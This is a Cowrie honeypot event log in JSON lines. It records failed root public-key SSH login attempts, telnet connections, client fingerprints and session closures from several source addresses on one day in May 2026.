{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:2b:54:d3:58:81:8e:b2:5e:f6:56:5a:2e:09:b6:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvbhR8kUC5VHJCXaQygdCfTgn9GB2SjvnOUREIelGEVmo74cmheOVxsHd/7DDH7mB+pKPo5F3BQTINPvxgKt96ZZvMkEJdTQO0Igwq+oDJDDpOsk++agIuTDQdC2FScNB/yYyQQF++vrUBqUVISIEbTBwimnv/9YyjHU+Ka4PUKknwp2fBKauEfO0WXtJMFGKRZ3zKSiWe5tuC8ZY0doUN7Z/8ceFo2gXB+/wwZ/XomCileAuPsfv3ScHB+ce8BdcsqkbUvP7S9/Xm4BH2wOkZVM3H66ttgRHPOi6ao3ENJvqDkeN8f91f3cK29m1n6JZ8gkIJaM7mSCYo9XftV1kP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.528777Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:8e:d4:90:e5:b7:3a:08:b7:aa:57:f4:75:31:c5:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxpIQC2PUb99WFKgtAizDQpGSYMMDdD5PGSzqE+lvxYj1voiz5Khtdp+iO9jgvo/J0sR3F7/bnVGgLDO8TgOOuuk7G1Fsus3mJ03GM6CJxA+p5IghvC4VFxrmVExYq1VkSXPDRDb6ky2Vnw2+JbN12nLu0kDrEWy/Q3tzxsO+Ftv7MWd/Fpjq0G9y8+wFR0jNlaTfBPKThDSuL/dEJrgleKYxJBuax2mDPKerpfoTqWxAdqcBO0Jie7CfoQehWEqI34Ulmih9LzyKNqS9ijzbuIxx/EBwTb2FeDLESG0I2R9zj8yN7ShYVT4hQG4AJn1Y2FMm0L4YRyoha0w7XYwZf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:8e:d4:90:e5:b7:3a:08:b7:aa:57:f4:75:31:c5:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.642947Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:8e:d4:90:e5:b7:3a:08:b7:aa:57:f4:75:31:c5:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxpIQC2PUb99WFKgtAizDQpGSYMMDdD5PGSzqE+lvxYj1voiz5Khtdp+iO9jgvo/J0sR3F7/bnVGgLDO8TgOOuuk7G1Fsus3mJ03GM6CJxA+p5IghvC4VFxrmVExYq1VkSXPDRDb6ky2Vnw2+JbN12nLu0kDrEWy/Q3tzxsO+Ftv7MWd/Fpjq0G9y8+wFR0jNlaTfBPKThDSuL/dEJrgleKYxJBuax2mDPKerpfoTqWxAdqcBO0Jie7CfoQehWEqI34Ulmih9LzyKNqS9ijzbuIxx/EBwTb2FeDLESG0I2R9zj8yN7ShYVT4hQG4AJn1Y2FMm0L4YRyoha0w7XYwZf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.646475Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:cd:c2:f0:55:a5:42:cb:8c:b9:86:8f:d6:02:65:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoaCNiIfURORgcTs8F+Gxk9mMou2cbNYyxtEpjIzvAwE3+ksqzYvDy+3Uxs9zSfm68X5n2AabQINE8CfDmdAHDbr6fKAF+5XsPwUtl14nCWVbxEEysdQMUR/STmqf8t+opFGCTfZiZt3hgsAzOnZZT7UGNc4fPZDiWwjQHF++esWcZu4mMJECyBSJq2RKlWv3ucymJ33A0nM/KiRBnDGT8BG6+YWC+imC2LxFHun/1hbtv7TiSKTfk9jXkjSDI3xV3F9TNoAPT3yFVk1acvKo14iAdsL6P4V8hdhmdRjMuQQd64oM4ulM1ufJ3w4FFCAT2QPeSsqIjl2udGRdFyVwx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:cd:c2:f0:55:a5:42:cb:8c:b9:86:8f:d6:02:65:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.760098Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:cd:c2:f0:55:a5:42:cb:8c:b9:86:8f:d6:02:65:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoaCNiIfURORgcTs8F+Gxk9mMou2cbNYyxtEpjIzvAwE3+ksqzYvDy+3Uxs9zSfm68X5n2AabQINE8CfDmdAHDbr6fKAF+5XsPwUtl14nCWVbxEEysdQMUR/STmqf8t+opFGCTfZiZt3hgsAzOnZZT7UGNc4fPZDiWwjQHF++esWcZu4mMJECyBSJq2RKlWv3ucymJ33A0nM/KiRBnDGT8BG6+YWC+imC2LxFHun/1hbtv7TiSKTfk9jXkjSDI3xV3F9TNoAPT3yFVk1acvKo14iAdsL6P4V8hdhmdRjMuQQd64oM4ulM1ufJ3w4FFCAT2QPeSsqIjl2udGRdFyVwx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.763544Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:5a:17:11:42:e5:ab:03:13:46:52:f6:99:d2:6d:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuPHCizhU3hn5xZg4B82+BJP6OrWL2upWQA+DzP+D1AHIB1Uzo0QACLppUMOsK9A/CxId0LB9f6IeAtDuA+dEb8fDNdz1IkCHf4QJj+a7xRmnzHhCYZfEwY02XYaQ3GiDC69LUyObo9AabbmKb1AqOQFw2IzYxbndpvTqpGOc35OcMQX6PdMYH2izBBP8ggQ0nfMPJ19hRN2z5r0bmdeWQLcYaZIGW6iVjwMp6Jr4r0VtIig2OEeT2BXZTXuI1wo+HMBPW7LOLGw0qXxafc8lxRgZYvXYU13Lo6f/dhtGACZkD3JLZk9ggmmFeEMVvGJYcnhDXyPWej3+s2zNBeK7jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:5a:17:11:42:e5:ab:03:13:46:52:f6:99:d2:6d:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.879085Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:5a:17:11:42:e5:ab:03:13:46:52:f6:99:d2:6d:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuPHCizhU3hn5xZg4B82+BJP6OrWL2upWQA+DzP+D1AHIB1Uzo0QACLppUMOsK9A/CxId0LB9f6IeAtDuA+dEb8fDNdz1IkCHf4QJj+a7xRmnzHhCYZfEwY02XYaQ3GiDC69LUyObo9AabbmKb1AqOQFw2IzYxbndpvTqpGOc35OcMQX6PdMYH2izBBP8ggQ0nfMPJ19hRN2z5r0bmdeWQLcYaZIGW6iVjwMp6Jr4r0VtIig2OEeT2BXZTXuI1wo+HMBPW7LOLGw0qXxafc8lxRgZYvXYU13Lo6f/dhtGACZkD3JLZk9ggmmFeEMVvGJYcnhDXyPWej3+s2zNBeK7jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.882730Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:2c:ca:dd:32:1f:be:1d:3c:fb:db:72:d5:c2:d1:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtluuQhQVdPlx5O8pWNDNb2TBtnmAnOQUYcJKStFXXQlQLYBp9HHgM5Uo2LSwnf2yFjsG2pCw2RFqyHkaWf9erLZXf8eUmgZjs62El7H0pxahpYYXjdux3rsMrhRcsTPZnsBwZbeGpt8kS+GEqCF/cgG1TP5TSYAIEdVqXXPNAKjvfsOuc1W2HTcvWTylFgbw33bsL6LFeIN+kRmckenLAYYH0gb1xxMaIkm+bjM88Gk1z6t0RGXCNWF+2ZEONkmFP4wj4JgWHZRnvQ9Bsq9F8YYP4+SopOOVHg9F7sdtzNpAtonKHN/19ICkUNMJi4IMXBcL1y/1fCZwxsqSWb2ufw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:2c:ca:dd:32:1f:be:1d:3c:fb:db:72:d5:c2:d1:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.995670Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:2c:ca:dd:32:1f:be:1d:3c:fb:db:72:d5:c2:d1:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtluuQhQVdPlx5O8pWNDNb2TBtnmAnOQUYcJKStFXXQlQLYBp9HHgM5Uo2LSwnf2yFjsG2pCw2RFqyHkaWf9erLZXf8eUmgZjs62El7H0pxahpYYXjdux3rsMrhRcsTPZnsBwZbeGpt8kS+GEqCF/cgG1TP5TSYAIEdVqXXPNAKjvfsOuc1W2HTcvWTylFgbw33bsL6LFeIN+kRmckenLAYYH0gb1xxMaIkm+bjM88Gk1z6t0RGXCNWF+2ZEONkmFP4wj4JgWHZRnvQ9Bsq9F8YYP4+SopOOVHg9F7sdtzNpAtonKHN/19ICkUNMJi4IMXBcL1y/1fCZwxsqSWb2ufw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:32.998430Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:33.112677Z","src_ip":"185.65.107.14","session":"b0bc90450f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49134,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b97a0246a13","protocol":"telnet","message":"New connection: 128.199.8.54:49134 (159.203.135.109:23) [session: 9b97a0246a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:36.169053Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55784,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1d8ca9e6aa","protocol":"telnet","message":"New connection: 128.199.8.54:55784 (159.203.135.109:23) [session: ca1d8ca9e6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:39.257545Z"}
{"eventid":"cowrie.session.closed","duration":13.181275606155396,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:39.937204Z","src_ip":"185.140.193.164","session":"9ebba8b41326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18576741218567,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:40.847793Z","src_ip":"128.199.8.54","session":"a76be361e7fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.366894483566284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:43.896973Z","src_ip":"128.199.8.54","session":"ff45353f51b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267574787139893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:48.554151Z","src_ip":"69.6.249.0","session":"489362d62bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53955888748169,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:54.288668Z","src_ip":"128.199.8.54","session":"4e47f866c926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.46.116","src_port":36998,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed54233fbcf2","protocol":"ssh","message":"New connection: 103.149.46.116:36998 (10.17.0.5:22) [session: ed54233fbcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:58.901611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:58.905958Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:16:59.121673Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:58:8f:ce:42:3c:13:ea:ba:ab:7c:7f:9b:92:9f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDib6IZedGsR+eCcRJ5NiIcdm56VPKV9HAEPGas3RusjXrFGOQm7RoKx52jFDGwGHhRd4bPx1Q87UP+5eUJApReK66eO7jZo4Jj/RgJBjRp8/qZwCgnKqt3sZthi9pZ7w3gw72mSeImJxGBinXqk1bcxNB5+gW8+GWzpGhV3ghGUfsz3bPp17Wld6E94pxzMOvWQfkrPxs6wgAY2lJCseEUX7EiwhclYSKm8Aiemez5lwAXm6VX1Y6Z4WTePAmDdju87ppv4b69/Lax8k0khoR+tZEtbB7xv0QE57KeoRFh129OUVzjWCAHTQi8oeNOzxZ1lqI4bCqZOudIA8ZU8Ku7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:58:8f:ce:42:3c:13:ea:ba:ab:7c:7f:9b:92:9f:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.178806Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:58:8f:ce:42:3c:13:ea:ba:ab:7c:7f:9b:92:9f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDib6IZedGsR+eCcRJ5NiIcdm56VPKV9HAEPGas3RusjXrFGOQm7RoKx52jFDGwGHhRd4bPx1Q87UP+5eUJApReK66eO7jZo4Jj/RgJBjRp8/qZwCgnKqt3sZthi9pZ7w3gw72mSeImJxGBinXqk1bcxNB5+gW8+GWzpGhV3ghGUfsz3bPp17Wld6E94pxzMOvWQfkrPxs6wgAY2lJCseEUX7EiwhclYSKm8Aiemez5lwAXm6VX1Y6Z4WTePAmDdju87ppv4b69/Lax8k0khoR+tZEtbB7xv0QE57KeoRFh129OUVzjWCAHTQi8oeNOzxZ1lqI4bCqZOudIA8ZU8Ku7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.182545Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:35:d3:8e:32:f6:7c:c1:1f:27:e3:e7:68:3f:9d:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4oIRYlhG7rSC96t/FrQumwgZhoDF/MIvV3k1tQec95Qrueo7OOVcGHSBe4YmaRRbbK3qvNq4YCZ0snviQK6TRMZS+4Ug13umXBfACg2/f6HAQ4KR5nr3xWpIE0jYSAxix3eIfUtkLhs9mk/X709EDlsNjJrR64Km4DoBvoyEZHNwHZ1w+W/2Uw70VlGAh8ajoSw7ufLHoR8OYiUAcZvKKWsY6wsdfuL94bcPiQ/FKHLFx/t/cq49Go3A9l5pTI7N/5NcA43/C+eXAnTr1R43irQHZ6ZmZ7wy7TksWl1GwcKGP+7f0EPmkNx7YfY+kSLDxyIASg6G7qNa5xvolKsdJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:35:d3:8e:32:f6:7c:c1:1f:27:e3:e7:68:3f:9d:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.400244Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:35:d3:8e:32:f6:7c:c1:1f:27:e3:e7:68:3f:9d:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4oIRYlhG7rSC96t/FrQumwgZhoDF/MIvV3k1tQec95Qrueo7OOVcGHSBe4YmaRRbbK3qvNq4YCZ0snviQK6TRMZS+4Ug13umXBfACg2/f6HAQ4KR5nr3xWpIE0jYSAxix3eIfUtkLhs9mk/X709EDlsNjJrR64Km4DoBvoyEZHNwHZ1w+W/2Uw70VlGAh8ajoSw7ufLHoR8OYiUAcZvKKWsY6wsdfuL94bcPiQ/FKHLFx/t/cq49Go3A9l5pTI7N/5NcA43/C+eXAnTr1R43irQHZ6ZmZ7wy7TksWl1GwcKGP+7f0EPmkNx7YfY+kSLDxyIASg6G7qNa5xvolKsdJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.417057Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:a0:af:14:c7:72:18:5c:56:97:9e:8d:05:38:d6:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKrZkEv0rBM+MsrivHnzaOiMoASxK/uIBXk2NCMMU7GB/U3AjAnGEYoRdfJ7E1IpQO+sSbFaThK5yYehMqN0HYf8kESlq07yCjqj+foLaEDksjUYKe5fTkBqBedWxg4Wr/h1Dx9QBPo9dq/DMI2eW5XrNpNFwrxgrAIQJWjCGfoO9TK6kY7VO0+XbhKnYIyY8DJocOoTtOOJEyVGk8XEdTrILzzHCVCzrVGirBxCkFbN5JG7u8zRjQVGlZspS0QHuLmHC3AdCb3nvMy1UJdApC2FC2wFgTVGmMzDFHDJwBNc+j/2O+4qbsE65Fu3f0SZLNPTPV9iDaR9VG4wBhESF5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:a0:af:14:c7:72:18:5c:56:97:9e:8d:05:38:d6:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.637430Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:a0:af:14:c7:72:18:5c:56:97:9e:8d:05:38:d6:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKrZkEv0rBM+MsrivHnzaOiMoASxK/uIBXk2NCMMU7GB/U3AjAnGEYoRdfJ7E1IpQO+sSbFaThK5yYehMqN0HYf8kESlq07yCjqj+foLaEDksjUYKe5fTkBqBedWxg4Wr/h1Dx9QBPo9dq/DMI2eW5XrNpNFwrxgrAIQJWjCGfoO9TK6kY7VO0+XbhKnYIyY8DJocOoTtOOJEyVGk8XEdTrILzzHCVCzrVGirBxCkFbN5JG7u8zRjQVGlZspS0QHuLmHC3AdCb3nvMy1UJdApC2FC2wFgTVGmMzDFHDJwBNc+j/2O+4qbsE65Fu3f0SZLNPTPV9iDaR9VG4wBhESF5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.641504Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:fa:05:4f:d1:05:fa:c5:40:99:e1:3a:f5:42:43:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3x1pfTziVje1s/yn33LjydCwfzQj+H66738wYA29OLYkQCPLWIFbGyJ29wDbDZpoZgJ5DewBm5dQScaqwJHbRTesvLkDMCVksxCb39/h488QHhvRoq1HYUpqimfFkXLEMWMAcsn3VfyFnIWBwtneMeWhpWCT+4+VGN5l+CHMv8V8HZmYplJOPJ/ogVtPeYyVyQzPzuS0alMT6k3l/KTfGhnrTZlSofXjA1nRmLm51JeEYJBWVLdHNz323tEuujGaas+Rxh4Cet+GAV4pCTewSsU5cPNKInYkGk3bWtMtTktArO37H04GkJofpYl3xgrVVyviZ/xYpTvDpDFWjfflKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:fa:05:4f:d1:05:fa:c5:40:99:e1:3a:f5:42:43:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.861813Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:fa:05:4f:d1:05:fa:c5:40:99:e1:3a:f5:42:43:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3x1pfTziVje1s/yn33LjydCwfzQj+H66738wYA29OLYkQCPLWIFbGyJ29wDbDZpoZgJ5DewBm5dQScaqwJHbRTesvLkDMCVksxCb39/h488QHhvRoq1HYUpqimfFkXLEMWMAcsn3VfyFnIWBwtneMeWhpWCT+4+VGN5l+CHMv8V8HZmYplJOPJ/ogVtPeYyVyQzPzuS0alMT6k3l/KTfGhnrTZlSofXjA1nRmLm51JeEYJBWVLdHNz323tEuujGaas+Rxh4Cet+GAV4pCTewSsU5cPNKInYkGk3bWtMtTktArO37H04GkJofpYl3xgrVVyviZ/xYpTvDpDFWjfflKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:00.866108Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:3f:2c:8c:e4:1c:b5:ba:47:a8:06:b5:ca:9c:68:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvDomGP6WmZHKpemyjSXmbuxO/rD8S3av9N2d1QrBIXXrpKvVryVegqVoxD0k/SDWyhntuFn2nuEpZDdaVOyK0CVvVCxVyIuPFXA9I35yft25urkGka1o6Q5FqZHPl/48AtYFSKZzwA26ZR9IR0EJQh9DuviAD5MkSXxY9A8F3CagzR/UthJb5VqrEMYDKMa9xROW7b7dvRbPuOUtrWy1tgvpmZQN5Oedb2b9rQUeeuH155PCOtf5SWkCaRoXObqL7bQo9RGjoiv2rAhCk2+khP623G8w+XtdPyGtns8g0+1eskNUV0l1P0Y94IkbQyMeAG8ISwdD+lD1CuYodkOxmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:3f:2c:8c:e4:1c:b5:ba:47:a8:06:b5:ca:9c:68:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:01.084179Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:3f:2c:8c:e4:1c:b5:ba:47:a8:06:b5:ca:9c:68:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvDomGP6WmZHKpemyjSXmbuxO/rD8S3av9N2d1QrBIXXrpKvVryVegqVoxD0k/SDWyhntuFn2nuEpZDdaVOyK0CVvVCxVyIuPFXA9I35yft25urkGka1o6Q5FqZHPl/48AtYFSKZzwA26ZR9IR0EJQh9DuviAD5MkSXxY9A8F3CagzR/UthJb5VqrEMYDKMa9xROW7b7dvRbPuOUtrWy1tgvpmZQN5Oedb2b9rQUeeuH155PCOtf5SWkCaRoXObqL7bQo9RGjoiv2rAhCk2+khP623G8w+XtdPyGtns8g0+1eskNUV0l1P0Y94IkbQyMeAG8ISwdD+lD1CuYodkOxmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:01.088433Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44822,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ea7f5ffc1ce","protocol":"telnet","message":"New connection: 128.199.8.54:44822 (159.203.135.109:23) [session: 2ea7f5ffc1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:01.149504Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:17:01.305195Z","src_ip":"103.149.46.116","session":"ed54233fbcf2","protocol":"ssh"}
